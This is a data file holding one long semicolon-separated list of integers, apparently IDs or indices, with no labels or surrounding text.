48875;30988;68911;17110;101066;77739;66473;35904;60001;21423;67446;84330;101977;90424;82615;47544;24858;19828;48147;49566;31896;34477;40465;33239;88764;103035;90120;53933;101733;77559;93725;48461;30855;61009;20443;46063;55708;29964;105765;58697;80849;43227;30609;71471;57450;104504;38337;95845;71368;105456;74731;100625;49011;44201;87270;74006;29835;21195;80091;66518;51009;75608;49045;99358;99510;67032;59158;85598;43896;25239;70164;93012;34821;17435;72254;103094;99185;52153;49387;30565;68900;35549;36848;73843;74719;37447;56174;42510;87940;58749;21293;103972;95568;56511;54687;87049;42886;22601;28038;64926;56199;92479;56635;85711;107123;80307;32510;62947;52522;75605;53389;71114;92666;34204;14207;31645;82262;58178;77589;28418;26955;71137;24991;58059;80776;82622;53139;29856;38663;45885;46131;58265;70041;97191;104441;55043;101460;94719;20955;56132;11625;99401;69518;55081;39558;58735;28269;81174;104376;78933;80969;27133;72150;17191;96231;79763;35443;14509;74339;61526;13820;58523;20105;91994;29786;68391;80569;14675;44762;84014;99975;21619;97031;37011;31755;68686;10942;39872;53133;28569;62971;48498;88007;12858;75334;22632;71357;48375;34530;56959;51172;90981;102294;102334;81784;33410;76884;11440;33979;74987;90430;30342;13775;22152;75530;39577;67527;30094;75649;101126;82903;92826;23578;17148;31844;57085;97846;46837;105797;39662;48298;41322;55991;36384;45923;33339;102636;87098;52264;69241;49645;89097;16857;72417;96689;51651;27130;66116;16510;63459;93411;16590;16765;104346;63363;47414;54722;13466;12892;72976;74634;103868;35712;23146;102035;61211;84664;12662;68378;10382;96783;34476;19060;19057;77790;11515;87839;18691;82620;61801;78599;63177;52465;39399;15285;106167;20705;88015;13180;24836;14594;63843;84718;33199;37057;53037;49931;41163;36660;27386;101145;48941;81466;35937;71183;100519;16516;47904;47799;56207;56769;24253;13416;77644;36350;22575;23504;64749;44698;102426;95504;90303;80018;68344;92899;84037;85496;72523;71361;40612;40163;61042;33832;18579;94754;40830;10843;24736;41429;82814;33190;20731;25042;81739;25250;42560;44907;92170;84121;71655;17445;54362;27190;78859;41409;54337;66537;92355;45364;36418;13442;74996;48192;87614;62829;106558;102721;89528;20757;67509;58233;33454;74356;80934;48615;42684;67501;34837;15000;72662;50381;74697;69543;62842;55329;19955;103670;52915;99209;96209;56337;71760;57986;52116;80244;31879;28945;62169;44261;11527;33101;19457;14632;10105;38597;18023;29382;21694;60407;85917;57702;38082;80805;16159;89003;50647;24647;46066;84984;26713;87485;25229;83432;90727;42367;62425;85051;16067;70440;64928;63592;89917;103592;45609;79195;19738;71006;94531;74866;66933;53849;25625;102475;11849;74129;35186;20163;40201;96120;58786;28599;29258;37281;91236;13179;104081;38277;27216;34359;12252;44299;102518;39413;12442;72546;99716;106506;38799;48221;83861;63828;58826;82776;75202;95828;103604;51311;54029;40221;89987;19328;52821;53046;81968;42132;25615;76906;25210;23979;52040;14569;55422;83493;66925;86515;35424;52092;38233;28552;51572;100077;50378;23098;43488;63712;104294;13619;58065;25534;28586;76109;81936;62386;40786;79056;64010;92641;30578;93153;75560;60545;54850;48926;75013;101114;84321;41936;34113;68038;75355;62423;16627;63256;72518;62636;66012;85548;106786;55449;62098;23105;85495;81474;90361;77064;86649;102141;87333;81608;23701;52478;85176;87097;12050;63452;44728;75602;56061;15692;69240;44308;62561;103337;66006;80529;11687;39037;74799;63234;30582;97064;68491;104792;45213;55710;79572;106196;62387;33202;21263;86411;45706;78608;35856;65874;77777;42317;29017;84963;86958;21429;81253;40483;45199;96939;53202;27683;45743;86258;60027;37784;31549;27871;86208;22336;33378;60893;18687;61587;84692;39805;89404;66565;42877;102271;67715;15839;106013;17288;18245;84875;19207;92895;63566;80474;79824;33876;51133;45612;59543;72293;75352;58542;48282;25003;44849;30188;35699;26586;58099;66732;51441;19395;55197;50549;73710;71062;83065;30995;10888;18237;87514;97969;29262;27113;15068;92827;23092;41722;72918;68999;100358;81441;39470;23088;77577;78049;77390;72049;64803;49859;64149;88397;60977;72157;48774;73468;34330;97795;101378;51043;67199;13249;84333;66829;13611;38781;99061;67632;99528;11408;15902;80797;99500;25720;34809;30810;105049;90850;25185;68860;35789;43699;16665;26426;99360;97475;81565;83433;94029;32844;23493;103149;62295;20718;18021;25764;76547;36821;84552;62627;25869;83961;77307;46536;36170;25947;55432;87671;31446;79746;28602;81900;42656;55897;16929;50740;83633;24330;56028;79987;92970;104662;58888;101837;87774;82007;78494;75664;38884;61578;77727;26250;99184;45501;26365;70486;84391;73070;92393;85250;12209;52296;74766;97082;46584;68203;70966;78294;93977;89021;68429;47451;73018;10360;26798;87010;94315;62231;23212;26963;26743;23705;22024;87855;19042;69814;47517;94519;14802;87946;51469;70210;45245;20504;74846;59705;42849;13288;15247;27008;43510;106053;22232;95374;73866;103704;13077;200120;28693;68428;54502;36711;74910;79008;66662;41875;78687;25597;17108;103613;93930;30869;29965;13974;69526;65290;84642;24884;57090;95838;54338;32692;43027;12300;85982;71389;37636;59054;79414;65906;34465;68660;78515;57031;95728;88810;15453;21903;105999;27500;42464;23170;68817;44741;105209;55074;25724;62981;31977;25707;105330;52615;102409;104234;33036;63714;19403;93555;27042;31344;97703;29192;69629;33955;78967;103734;39594;56493;54912;87763;75912;105359;59675;99162;74580;106813;56495;43649;37436;96040;52414;30500;68273;40449;67783;93477;16759;16406;59151;101944;88465;73811;57905;39642;94359;27454;42549;32656;88011;66415;43796;90024;68738;70183;45311;50896;76267;83973;86221;44733;20095;55361;24543;55721;46195;73067;49460;91719;42055;63284;91839;102716;99340;96972;89718;63550;55732;105062;82069;58845;29720;106011;89123;21837;86122;11235;80218;49758;61248;78366;94156;49591;31312;19022;82113;77189;78100;44154;104279;26925;102777;76819;10583;83408;14537;75430;31047;78843;41893;24421;53649;42850;88136;34970;40860;39909;27119;103557;55948;82639;67197;16379;81009;87709;35941;33448;50323;32737;64259;67774;61700;36889;70684;21501;60394;71638;67338;22665;37796;103530;91465;41165;89298;40113;38034;51071;27952;38745;76714;70877;38545;102865;27095;101965;87740;41683;22951;15012;53744;75044;57701;77615;55433;89081;14337;66894;49640;68221;32883;13198;101452;11315;89346;21047;93457;103946;15659;92842;23921;92753;82710;78684;95285;29416;31029;18158;45797;52667;67799;14558;48743;83258;48341;62357;99113;24461;27104;13078;23912;101064;72958;63832;93447;35173;106808;20716;40231;60889;40544;33604;88806;63227;105498;106641;85090;73211;90262;55050;59061;38925;90820;89747;83292;63553;21102;42446;14913;27985;77167;40738;89565;77705;86527;55615;99948;28263;63533;57706;13530;78837;33083;15403;53874;83936;15274;36566;93929;47554;54058;97801;25198;56856;35873;54736;44980;35716;100757;58551;83142;70166;78364;54510;28145;18137;57262;99152;63707;18514;96318;87874;26187;61663;71541;62440;50167;79869;87582;79212;15572;74281;65177;77601;75703;72663;92217;33711;33348;84486;50100;20239;35507;62661;59931;104678;25571;42973;95278;92200;20951;79334;59900;92535;52200;13567;31756;21595;15316;59161;53244;22723;96082;85722;51444;57307;52842;106134;31127;61963;83926;54987;88861;81209;79313;50922;52706;41181;90156;61225;54603;56656;37814;80424;49403;70800;96196;32095;32944;56944;83465;27694;82651;74781;79989;15052;54797;67711;64405;69245;13297;84940;25695;41045;19186;21343;79896;12306;61548;85256;84052;65817;91755;55624;59142;91307;99826;43145;43578;97740;18254;75314;62851;24917;13174;65502;52121;19839;58815;105550;92697;77558;62928;80443;90833;26021;12908;63218;72392;10704;66830;29383;106360;37659;44054;74036;61889;103098;41589;62510;11781;31689;62351;48896;22027;100778;84856;31924;35494;40671;84191;20340;89240;82692;81737;39881;73551;67479;87997;81712;38019;26943;21442;43538;71498;101722;46512;80280;73817;90363;106295;88771;70165;89363;100429;91451;54940;58110;52646;57179;106942;103954;56400;39693;56975;70462;64692;76213;81264;17043;60716;95592;21290;44958;77283;24743;11739;68193;61911;90325;46593;47479;14930;101105;86549;19549;106243;96747;36042;95030;33787;72318;17165;77242;26869;24111;65315;24828;101650;52599;21032;102058;77766;102314;16362;71783;58582;19361;39602;96012;69625;79923;99008;30222;14524;60718;100485;74645;11585;105616;52597;44385;52408;62931;61057;68572;39248;41622;44204;27452;101943;49300;67389;66629;47665;38227;91384;97884;102302;58277;43737;29124;18478;17475;105446;85420;25775;61369;23830;32154;58938;83551;31054;34726;88156;87686;65203;34290;67329;84285;73714;52170;28142;86925;74378;99649;22863;50261;50173;87715;65551;29131;15452;105021;23771;34832;84407;103176;26897;63918;89187;89023;91252;72515;69910;82136;52338;33653;92112;85095;43223;93805;51825;15657;45551;106231;70527;21321;68192;51542;50035;69574;102548;47859;57269;88904;89647;59348;33672;40218;57368;54315;27344;34214;41081;42005;12881;22069;78040;75258;48151;79778;35087;62798;74144;79191;31973;63471;95357;13065;35570;25987;44486;21725;90059;82733;22733;10410;17109;65850;93928;53366;77060;32361;64054;91274;22516;22279;94773;79395;106158;58032;87764;11726;57205;14075;50092;75687;71277;34208;85581;70388;47273;40600;101458;91256;17802;11800;83943;19040;90210;70366;21212;44015;64241;15469;73578;38210;87236;50528;90503;74998;26849;28388;101421;61637;48886;37771;31010;62628;105261;53835;70136;100299;94445;76108;67766;90679;86261;91334;10099;58636;83606;66874;41741;72556;15133;90703;78322;63986;51824;41886;44175;14296;89261;39075;30469;27471;12338;64416;72367;57463;106837;51667;32170;81002;105076;76469;106386;26780;20264;27808;70544;86622;55295;30579;44986;56516;28752;60934;81233;14114;22109;80270;57658;61290;50055;35859;29848;64383;104128;52820;99848;73717;42629;99886;85874;100150;71331;68283;27775;27631;15069;83561;12668;40049;35983;53900;29923;11151;70574;83288;18019;52758;93184;74999;69928;25469;90454;18504;56832;42638;82461;48383;67002;60859;17509;32267;28790;52723;19873;100007;20889;89602;16674;23296;90287;30471;101057;24167;58598;58665;49875;72619;101667;51397;25766;25334;92679;19814;66918;79399;15035;106926;60467;81942;17000;26385;83127;38332;18506;94148;96451;38329;34046;36073;33495;61857;16663;54129;67770;72002;103714;48592;45820;18524;73986;96276;85164;45062;22734;99333;76719;50255;61154;62647;88023;66738;17160;59717;66043;19182;19566;100914;71998;14297;51568;83924;77917;101890;51799;62051;44827;51013;73615;72602;40412;20282;23615;97564;91028;78182;48532;44642;104806;45300;19039;87468;71614;61238;92713;57163;56284;78971;44386;79403;97107;74890;105834;47066;18657;95632;10406;22543;46272;38457;105102;16884;51068;48549;79044;58435;83597;19962;29921;73296;45730;35346;77107;56264;67399;11063;82981;26402;35393;41040;40048;53281;16937;15968;72347;67463;25525;35915;38201;36009;13570;74091;67543;64099;33766;72217;37585;65170;88914;11320;29573;82980;46666;102337;36561;33733;102188;49962;91885;99534;48714;51216;58640;31670;41842;85189;96384;16417;49527;67975;77942;11445;38338;57539;33742;69503;26481;73735;104540;40627;14858;56799;88888;105589;44270;69745;53646;74772;83211;52431;17363;85101;36126;15373;105497;20836;57249;83903;23066;26984;73815;21962;29826;16337;43540;105313;93432;104175;72626;64839;70919;104944;37207;81148;70095;59368;61520;10979;104248;106513;82968;58229;23393;48662;86875;82503;26704;70992;70510;43614;89587;89226;58752;85412;60203;81230;42165;68151;41493;94042;72617;41540;34978;45824;38217;43061;60588;60494;40395;90549;90228;67984;87518;200014;40178;34801;11816;44137;85567;100887;75065;31643;34620;21884;11659;19982;37617;14973;92419;24057;75753;87809;76897;59034;13620;200051;85249;40551;67966;76669;15958;92967;73087;38466;27539;81049;72849;92741;72728;104653;69823;46403;66823;52971;33792;46037;44548;70836;62555;12626;75853;22984;67727;53565;60023;30133;61088;25539;55021;46286;75333;16130;95334;25575;24595;20271;58083;78174;95457;94541;23710;45780;106440;11101;46507;77674;89543;72698;15421;58312;94444;35928;11756;28228;100716;17042;30286;31577;46687;56789;34021;40105;77890;90231;64056;78557;50016;71326;88053;45438;30379;55438;34044;87059;70029;35609;70714;56232;22658;91947;106157;67208;16646;59591;53123;56193;52491;99752;14892;42714;84670;74112;10516;94019;31495;91756;87226;15079;36305;70348;33771;59512;82189;105181;78518;105617;51585;94177;103067;81752;25886;16804;84331;82117;38331;29058;61091;88617;15954;40410;94404;76386;81995;34689;16451;53066;43858;27015;102129;54717;41850;15021;102663;60404;17477;84174;80230;15833;86871;53503;69553;41902;40414;74443;65571;78989;101155;69041;62422;67285;43025;78610;51373;82907;60254;73375;36855;103663;73311;33290;10386;53256;23068;10958;61599;29962;41585;81039;72566;81965;26682;101739;69713;46656;44900;15764;37241;63100;32503;97508;15364;35117;51641;25895;57506;39277;37411;95804;55727;58402;36900;27336;95263;48596;88515;43757;23326;80763;18214;28196;99871;96484;100111;36861;102646;13922;100828;18902;35095;70896;84140;50607;24189;24161;62115;85286;81050;63857;17183;61220;91491;27178;83447;51123;59094;80914;10009;27197;57939;26884;26867;102535;38419;104489;69049;74210;91585;48599;37141;35788;96949;65492;57048;83394;89494;43485;57750;37370;51420;81375;58299;62397;94652;73780;53483;55373;100343;67644;14796;53816;20194;29513;59518;48334;100794;69280;53566;83687;36152;65667;63669;77447;105801;41175;97121;95855;16366;11017;29068;101394;23087;36348;17592;64703;12025;90327;106265;78544;18126;77402;15184;62199;17583;87009;30701;73015;48430;104085;84186;72814;96126;60509;73135;26618;48685;20484;103785;26593;80428;99160;49042;49991;81023;101728;87222;49155;94319;25104;50418;58462;62244;22753;22649;10025;82274;77875;86677;73885;44599;43542;102434;55825;11370;59271;48357;42864;94004;84602;58722;56451;60517;80065;87660;13818;43362;97995;28988;99153;102328;40511;57329;50616;102556;101968;93212;44353;104657;16910;47418;18914;57328;99302;10092;58841;79604;100818;73891;80339;50626;75932;64696;30004;79150;28543;23574;92425;49111;53495;30663;49214;87837;58670;30038;13160;80643;74290;29873;85074;10936;20158;82058;51864;47235;55189;68123;18725;75576;15582;81348;54019;32132;87338;21219;74150;94124;62113;49212;31257;58391;18555;64503;26075;41307;48937;63941;40542;72129;97923;70847;94724;94590;22402;13055;84064;48932;51141;42501;62724;30860;31085;92839;84015;75110;59216;63316;89899;74166;13603;63865;22809;91109;15120;23939;78851;21960;106846;85239;65085;93656;81227;29092;43365;87235;55375;105224;101704;68640;74481;35816;27136;102902;102998;104239;12014;104192;28714;73883;63433;72289;35506;58765;67825;16989;73923;92210;72378;87521;76705;63267;63432;16653;58024;24266;66420;65787;94087;20191;19969;20943;44605;63863;79267;15039;84495;42667;44232;93513;41249;91952;96182;65693;38622;46943;83634;10177;99963;96164;51506;44568;85525;101112;49396;39682;11221;94557;74997;84675;50966;90491;76063;87225;29271;48508;13740;104324;27068;67057;46661;31889;71350;80928;20342;62895;22656;62691;59789;86609;102324;21544;19320;43218;102067;40997;77754;78089;84141;94703;41948;45750;60777;99511;54481;16909;72974;106676;95383;10259;72861;62048;10544;65074;34706;12990;61951;59758;55355;38389;29470;60309;30287;99885;51833;72431;81004;25091;64158;41308;106512;80798;58762;26883;16250;25265;106419;71739;12380;14097;15288;65640;65023;78421;101264;62985;12304;16703;33420;25974;103283;94202;35157;66716;40793;67579;30477;30267;68026;88410;96573;74395;64998;22253;93113;76177;94354;99025;80916;50140;45011;100680;26753;99191;81173;65928;30737;79629;29140;60614;73390;24757;49909;12619;51393;67306;10883;35927;24138;52799;55567;93689;84834;54424;104307;35635;16774;105065;97876;95974;59803;73419;88854;74414;78391;26879;85319;89231;78210;89663;16567;55828;76362;93115;56160;48311;15911;84387;42327;88948;71082;69210;29138;102854;23398;58583;66338;58544;62448;11190;73737;53917;34315;40520;102826;53496;100890;15518;45978;63751;27210;11469;38551;18297;75783;82248;20822;73840;51493;10711;93925;93189;46318;86151;28620;53282;67184;33353;93606;59823;53778;13657;69501;57071;100095;29263;10686;99311;102014;18837;25433;25486;15964;45914;53581;92935;69999;80716;78237;85125;11260;104545;95503;71256;77202;17340;68399;27949;33222;10057;87456;49879;41330;39443;71294;67754;83565;90302;41611;69683;58122;103834;57271;84541;51217;63718;96815;65527;74077;55007;29979;80198;104602;89002;82115;55076;33868;94941;32263;30661;82505;105104;27910;24701;94409;37018;43588;13106;23181;102793;47167;68897;36960;42265;73509;60422;36294;18846;24080;73744;101022;56462;89409;29713;91673;53606;46070;79866;90276;70721;22817;42744;65642;78833;67074;21985;30186;87341;53707;68077;45446;52903;55203;67391;28728;24587;45113;28654;26316;51457;104654;57114;100416;96807;70738;89422;89121;54427;90200;66391;93363;62952;14807;102069;100373;38437;61366;104480;16292;47203;32925;79846;82060;73426;72784;69017;77035;80929;88160;17374;26207;51264;91680;73741;38558;28735;52254;38568;91419;55320;33023;65246;64060;12436;56468;76485;91239;29952;82555;30112;31547;30317;22098;62170;22428;65101;80645;76112;62571;45872;44203;40153;64147;11552;87470;79109;16530;66309;52392;79443;54332;69520;100101;52474;61701;62722;95338;51296;39251;33805;78404;45382;15866;48382;38088;89801;13937;55110;44223;99847;100980;11224;35643;49881;67599;53032;53984;82531;27137;68461;44065;90121;89538;34103;69739;82985;68244;23952;72274;62787;32007;32984;20743;80305;48892;44112;14271;105830;56921;26948;69136;37621;73033;83757;84359;13933;10107;95307;88643;60602;92865;67522;55321;107146;23967;105389;73455;46641;26635;22923;53134;53344;39205;44984;59244;19357;50559;20128;78318;28615;70887;80350;25254;49838;64297;86913;29787;27637;19679;13872;39596;94989;27939;92649;54344;33918;33234;39943;30427;88056;33432;106887;47221;72838;57092;106721;66458;73651;101428;58331;61295;21101;28580;65766;37599;32709;28356;67106;33447;73429;65411;49351;33074;76784;52492;42358;16837;80333;58660;54187;54587;34806;66400;29448;86798;86142;16137;65628;72547;78860;10839;83919;72205;78181;37009;100042;78644;34398;16569;31909;17564;17064;52911;78619;80540;23841;103417;42463;10464;92777;33643;52541;64449;51065;23942;94170;40249;35637;83060;83420;15390;67206;42553;12401;53268;73928;55844;92724;73324;106606;91819;55518;19420;33196;92776;87418;24675;89137;30464;100762;11115;27703;15252;82233;12574;39288;34796;20911;38031;79167;70747;65175;29955;43008;16235;84118;36567;54221;107085;99282;62786;16986;14520;105962;15596;90227;42128;43493;67484;81763;59609;64080;47876;95747;53307;71004;12937;47379;43770;106336;51764;41136;50577;102803;67066;57135;75001;74850;14049;10723;67336;97558;88804;60425;45396;85941;41198;82082;50306;101531;27387;80742;61529;84542;53461;15014;33633;77689;90521;34283;83183;50383;96625;14647;66347;34468;43430;52452;81125;66044;43287;68486;73785;55725;26581;54107;57930;38213;93283;22204;106510;29436;94478;62071;24725;83431;57468;82009;69699;101122;14944;106857;52145;70264;92262;77354;86680;40430;34931;87577;55676;99403;20500;65926;55364;28074;60487;56744;56126;77570;61517;31998;21418;87580;27450;23214;12677;93430;93736;101671;35678;44346;83070;64264;55508;89549;87781;52851;46628;20556;60913;99618;72652;80911;66462;101629;70157;44798;105541;86371;60719;74691;101937;76472;39435;52840;80823;77812;80405;95047;31589;33992;20383;83290;65547;78688;17786;45749;36274;29779;89652;69900;56941;35382;53791;23755;33043;27366;50465;12781;24337;16376;101116;99874;80168;77666;41024;44133;67717;49245;94466;37154;58981;45856;33885;35103;88784;16136;24027;80673;70726;16920;86729;25464;31517;70344;33924;97339;106621;80758;91633;26665;13434;10699;74404;63392;54836;83079;76526;77213;97432;90055;97724;73546;66566;43395;67333;100469;73008;66584;17403;10059;35664;81757;60462;46704;74153;48887;57475;99629;72091;43743;73410;32152;42538;38319;71516;18333;65515;53072;45218;103718;38748;77961;70087;17210;27356;51689;77683;84600;99467;100056;81684;97956;91438;16712;81746;103893;66276;83609;62589;62805;55358;55686;23175;74154;57351;102089;84962;53171;10306;33386;57469;54072;28727;74788;23641;56890;36785;89929;96555;90626;70309;50993;34518;28844;48332;57562;31080;61274;75341;74071;102452;57535;88137;18270;88662;53159;22379;34266;86032;56645;30478;55530;19491;38863;32972;80135;102039;53934;65200;83285;87347;25418;41458;44143;68718;37627;10390;16898;44767;94655;80163;51852;84517;91321;28118;76721;56005;84025;73405;81573;66291;15822;83905;96734;47104;96098;47760;102877;64480;50046;93878;86419;90548;70297;43593;40590;82240;90354;81336;102044;32796;25767;87383;65310;36874;91406;24537;22694;40345;86563;18419;97960;72062;20739;67050;97912;43619;13267;59773;61994;20820;61301;92801;87373;86787;82991;94536;82550;70781;27273;89025;57231;52711;62070;38428;47604;70461;90733;35744;17666;92313;90383;105506;39384;46626;14608;103119;95495;95376;82203;28584;32910;92369;54688;52771;39431;47791;38598;55935;47600;103031;99802;55088;14950;57833;99889;65714;52614;99934;67841;67161;15937;89171;106873;105160;87672;50939;61742;68894;57845;14133;94015;65079;37132;86274;104844;62004;89460;46699;25636;93296;56362;85251;46769;105414;102137;63454;92815;76023;73684;87645;83680;31424;99705;71535;23696;53629;89742;45019;95760;103332;66454;61724;10293;95571;106251;106118;67994;79388;80054;45130;47725;88903;21852;77442;55283;60955;46784;12790;100505;37806;87786;31159;33755;105493;35297;77908;26736;17440;76074;50509;29587;48436;63899;68320;67019;38795;32445;99767;42089;66073;44303;35950;74127;62508;47263;101841;93165;54806;10961;41513;86620;46828;78430;76660;102023;106529;59611;47896;56828;99605;102229;31744;89004;41305;32347;16374;66486;35125;53301;45566;83504;67087;40408;76725;81584;95984;86736;30443;90915;12666;83844;94259;70138;24719;55751;61557;28036;83043;35651;33696;69127;19197;105030;92633;32683;101857;23681;81758;27504;29491;93674;58369;56822;45030;75846;68797;29798;12319;17443;27740;44571;86670;83899;44836;102357;85288;41390;37502;89155;42627;68920;31729;70802;84943;50128;53840;87611;86459;68798;88917;86123;40976;31361;46308;73305;103148;49331;58443;30830;83133;104207;82346;93057;86684;11663;62292;27835;92007;13689;52979;70672;67327;93565;30357;72997;62567;53063;28539;18937;43239;97138;37900;81062;34449;70286;105947;20403;51552;79573;20507;94604;73931;25000;60368;14295;100821;30071;39822;75444;83534;21665;59978;16931;37691;40115;76062;80839;15243;89730;17716;102303;21107;45286;41900;59385;31004;52023;34097;11492;40481;32838;106715;40876;68166;73384;15967;56237;52651;11270;13647;51473;18472;104299;55359;49208;58404;54401;26150;69906;68235;52183;95345;30509;11887;91460;32869;54898;69021;87104;73453;14561;99143;73307;101346;19970;49047;106867;88652;67819;67351;85569;33620;35433;42456;72471;44072;86491;21954;79145;81808;67555;25281;93442;65741;46962;34296;60838;10660;15889;16144;78125;41649;48429;68841;61320;68359;37058;78802;66430;35995;18612;34715;29464;45493;12069;91496;59228;76256;56399;106467;64169;43065;97156;101120;85823;105439;78143;25382;82979;99814;27917;88930;21519;86829;21702;64163;65008;55159;80208;62037;31190;64498;76708;74632;42098;13894;96181;82740;72987;92761;63672;47815;37194;89219;67270;32688;90782;100482;43731;21929;42911;41908;18973;62600;47302;26178;74016;84932;66275;24343;61143;18835;59941;88055;85190;52600;22112;69527;67263;35820;61167;76692;104927;84947;95597;80559;64367;10595;39655;84378;44063;75168;29970;95494;16099;100517;41735;51753;100459;23608;13546;13039;41346;73463;97047;40248;16346;75539;69284;64082;52913;24436;13498;12770;95051;57994;28245;103872;16748;51929;72358;59851;81150;63365;103171;81175;51329;83576;33151;101735;49247;96494;59759;32030;97002;31635;13447;12977;79964;25518;18234;100858;40326;99454;96999;72133;38968;26095;21424;55895;76903;19887;19653;29705;53643;65954;17251;11499;38944;74704;72189;27757;59954;26870;105386;52207;53768;50462;50060;71499;43058;42229;70697;27612;99532;91679;105986;104220;29440;14517;35511;92428;99378;41204;64435;66766;11182;37574;55085;74040;17531;18515;39718;29613;30007;85560;37030;71365;65676;32784;50448;77680;15674;76132;52875;88125;94487;42222;76396;100239;85173;93975;30899;34967;24644;32208;90447;13774;95733;61610;83748;49091;32551;26222;103055;89797;57897;99770;96506;42185;102861;25583;79489;56203;37230;75429;26294;57547;40459;25845;101069;20689;55069;51985;74216;10898;57256;68385;89286;23588;88690;43269;80341;99344;62534;81686;48636;48303;40887;58096;101522;64593;33997;59115;103166;26612;44497;49500;10546;59713;24713;54769;47537;103692;20634;72827;49719;49762;83691;90083;87006;99072;52732;11060;74798;72586;106700;40798;22301;58070;19043;61757;62247;57901;31874;29213;75635;77195;85625;15909;54477;55714;39556;100473;83871;63638;82632;55814;34704;95960;47367;72061;46219;31871;23862;53975;60103;23271;105156;95551;22362;23315;104567;92715;62718;97542;41266;80802;96397;73878;67449;65574;63949;16779;92069;49244;22531;35059;14289;12044;96479;70561;48779;33096;94949;93435;23850;64190;67709;91365;11769;21726;76606;68084;89529;64372;28697;33166;89496;52402;30840;11426;96354;54036;40433;47369;62376;20568;25270;19301;71552;30495;92362;75546;52237;45829;45668;78512;77459;61537;93215;72762;44300;99756;61312;80541;10606;96474;10267;78447;83310;44913;21578;39266;32968;16693;78896;27432;99748;91322;25415;61357;31980;71135;104457;90851;90794;85421;74400;65599;106037;89553;63826;60960;10513;66079;45657;27965;83240;49354;27963;65719;71809;39678;55423;25447;106845;64698;57223;96519;104165;27070;103619;89516;45726;43278;87029;55485;26296;34603;102620;62678;21287;40399;61817;59099;33993;84326;97254;45292;57839;38658;53441;41200;80821;68368;97840;15893;72093;42685;40156;36690;17214;53335;83725;57088;102060;74101;63503;82016;69967;23044;64551;89381;102571;70811;56288;53190;67694;89141;43214;102799;62573;47172;62269;32473;59047;58060;70208;59297;69955;57749;61170;20018;11694;91580;103742;101343;64366;56158;57098;83914;74617;86135;45273;74449;72019;80366;31805;61234;59345;40356;82687;102929;15115;79202;105816;76514;56563;21228;25673;10450;85842;75806;60269;77747;88166;30872;92513;29324;49176;61185;26243;102683;77681;20701;76829;60795;22659;71881;30937;12636;27493;13600;24496;51857;83223;69368;69717;75548;50640;24053;25504;65030;90034;16008;34550;35566;61868;16864;92615;75779;84819;55980;101947;57378;30275;91771;72054;26589;39108;103731;64886;28981;75892;38476;58336;27784;15378;92610;58829;29646;53892;14037;13929;65740;93983;58073;14183;42792;87951;91591;24114;66838;63760;66448;73411;26307;69600;79645;49394;63663;21551;33834;57272;79007;76649;59561;35475;102400;31545;28914;27438;52585;16776;100112;93449;23095;100400;55925;106571;48156;67029;50436;64932;71999;61946;42509;41988;31024;30534;106897;80926;75888;24169;30720;73646;101869;79855;24689;63462;58842;91712;46910;55020;39975;61196;25034;80173;18101;35711;64726;90840;66508;103318;79737;48196;47145;32086;90146;62745;100744;67936;61819;54686;66274;19244;12334;106652;11282;100164;56607;71101;46807;56500;71328;52662;59682;90423;40993;41974;68423;34855;31400;51743;97519;34559;13780;96333;28248;58822;46671;86395;78039;46223;84393;68393;97455;100311;82568;46093;30425;78963;51694;87358;55788;89472;62671;24810;61843;84180;41940;46749;104589;73228;90871;52815;49798;58139;56538;63809;37080;83841;53147;30454;101430;61812;26267;51191;39727;97856;80581;17170;78883;17701;43120;41846;92123;67027;14684;76615;72427;46864;44052;79296;76278;18135;100403;44214;43191;46344;83378;92662;52439;12393;21238;70479;59314;91626;87233;50836;32346;55694;105691;101788;14323;39978;60995;30462;85795;97694;65094;25679;104060;89313;51347;68684;67661;41152;18001;19734;106947;31803;67472;79182;105850;42925;21255;38933;14833;49825;80995;79130;89350;82897;93491;105392;45532;47900;21076;41588;45469;40166;14780;78270;90398;40298;76696;12452;91850;95688;53008;28572;41093;35650;31219;94396;16452;47134;91972;92442;89336;73164;17986;96657;107102;26157;105524;76374;29458;83712;57824;15283;19638;97951;106601;65832;57836;68404;82165;86816;44363;102350;22820;19461;41768;54908;38422;24390;68074;33519;33724;81187;56301;13527;48727;97374;93702;86117;25706;103356;85073;61802;76629;106151;74202;58502;32221;29611;106293;12526;16103;31627;53126;101964;18028;93926;73194;74421;20869;28095;30652;105517;54261;41489;61473;12266;94732;95348;39533;86361;80721;69876;103860;103455;12439;58454;48294;94840;83385;24157;97785;15230;82139;53511;21381;63308;34675;37821;49274;21720;10932;24208;79944;58280;18439;96272;63540;20391;10063;96742;82609;44469;42295;50638;11068;34560;11419;46805;75096;57369;97027;51543;84829;100961;43617;49958;35722;86596;49968;96512;55065;39643;100041;16007;12605;54145;32676;28859;95736;81448;103856;51368;61761;26203;14536;79608;69968;23336;44535;12340;67899;10529;96202;84828;94561;62311;52375;72088;19128;102866;58346;44178;69171;60393;105833;59761;30062;93723;76491;53031;88567;99834;74047;32090;70727;79210;90012;58121;81676;30771;53706;28268;63715;49992;18898;104743;31309;30170;88587;69145;48326;10815;79613;77097;46461;18899;95445;59451;60559;52030;41992;19163;38797;54432;12115;75554;23421;68479;92163;92091;78042;67816;95576;23517;41752;58580;57624;67665;24238;106534;77656;79401;86069;50332;14928;78433;92859;77194;55000;54568;30283;94888;79362;67138;70013;74577;12839;24756;65615;11672;20129;18454;94562;44709;73319;70925;21722;77876;40455;22166;96095;104013;53680;84418;67539;47376;28414;56971;66129;104821;65070;35668;71122;72852;96863;76914;13140;50620;68190;107001;40713;60696;50345;59899;42783;35476;35981;11626;11755;36101;99420;32697;94439;18712;45599;22722;100297;63483;32625;67718;99633;29796;59581;43575;97493;85106;57958;88907;64802;87704;83963;33871;76332;21897;103650;94271;41141;21239;91394;10319;102457;83333;104949;62125;29415;68494;62657;33263;82131;72965;104005;90417;39705;39648;30895;45457;37025;29607;39004;36771;53758;99556;61490;26145;51103;90718;92540;80655;100816;28370;92082;60201;35575;106614;102057;105472;33233;63386;29065;63820;85350;76862;25567;52299;94498;51204;65123;21663;71420;99252;67559;10158;84482;45195;93758;73141;79151;28545;90535;78736;75320;18508;92477;86110;84850;19553;54160;97669;55437;86292;18298;84636;77543;50972;37193;82873;16811;33954;42815;71674;61769;32067;56986;24334;105152;58863;65347;94390;97832;54633;25143;27207;66651;84825;70258;10313;97212;37139;64881;35868;105037;91376;59951;20625;89348;16977;38086;27603;16096;57960;40079;53386;55959;95939;57313;52548;52256;28680;93943;47465;48889;48578;74762;29175;59164;103869;26425;35386;80401;31228;101842;56914;75050;100162;102961;53794;61363;69464;70298;23417;91738;47655;34616;48262;88997;66859;83675;14367;105533;15906;40653;38881;74374;68871;25208;46544;50077;97583;76032;99123;87381;97852;84995;32707;34944;69074;48624;49344;34906;11862;25470;62073;94607;102063;